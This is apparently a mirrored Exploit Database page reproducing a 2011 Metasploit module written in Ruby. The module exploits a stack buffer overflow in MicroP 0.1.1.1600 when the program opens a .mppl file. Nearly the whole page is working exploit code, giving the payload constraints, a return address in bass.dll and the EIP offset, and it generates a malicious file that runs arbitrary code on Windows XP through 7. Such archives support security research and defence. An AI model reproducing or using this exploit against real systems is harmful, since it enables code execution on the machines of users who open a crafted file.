MicroP 0.1.1.1600 – ‘.mppl’ Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 20 阅读

• 作者： Metasploit
  日期： 2011-07-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17502/

• ##
  # $Id: microp_mppl.rb 13114 2011-07-07 06:29:37Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
  			'Description'=> %q{ 
  					This module exploits a vulnerability found in MicroP 0.1.1.1600.A stack-based
  				buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
  				which overwrites the lpFileName parameter of a CreateFileA() function, and results
  				arbitrary code execution under the context of the user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'James Fitts' ],
  			'Version'=> '$Revision: 13114 $',
  			'References' =>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/14720' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 728,
  					'BadChars' => "\x00\x0a\x0d",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows XP SP3 / Vista / 7',
  						{
  							'Ret'=> 0x100145b5,#jmp eax in bass.dll
  							'Offset' => 1276,#Offset to overwrite EIP
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Aug 23 2010',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('FILENAME', [ true, 'The file name.','msf.mppl']),
  				], self.class)
  	end
  
  	def exploit
  		mppl= payload.encoded
  		mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
  		mppl << [target.ret].pack('V')
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(mppl)
  	end
  
  end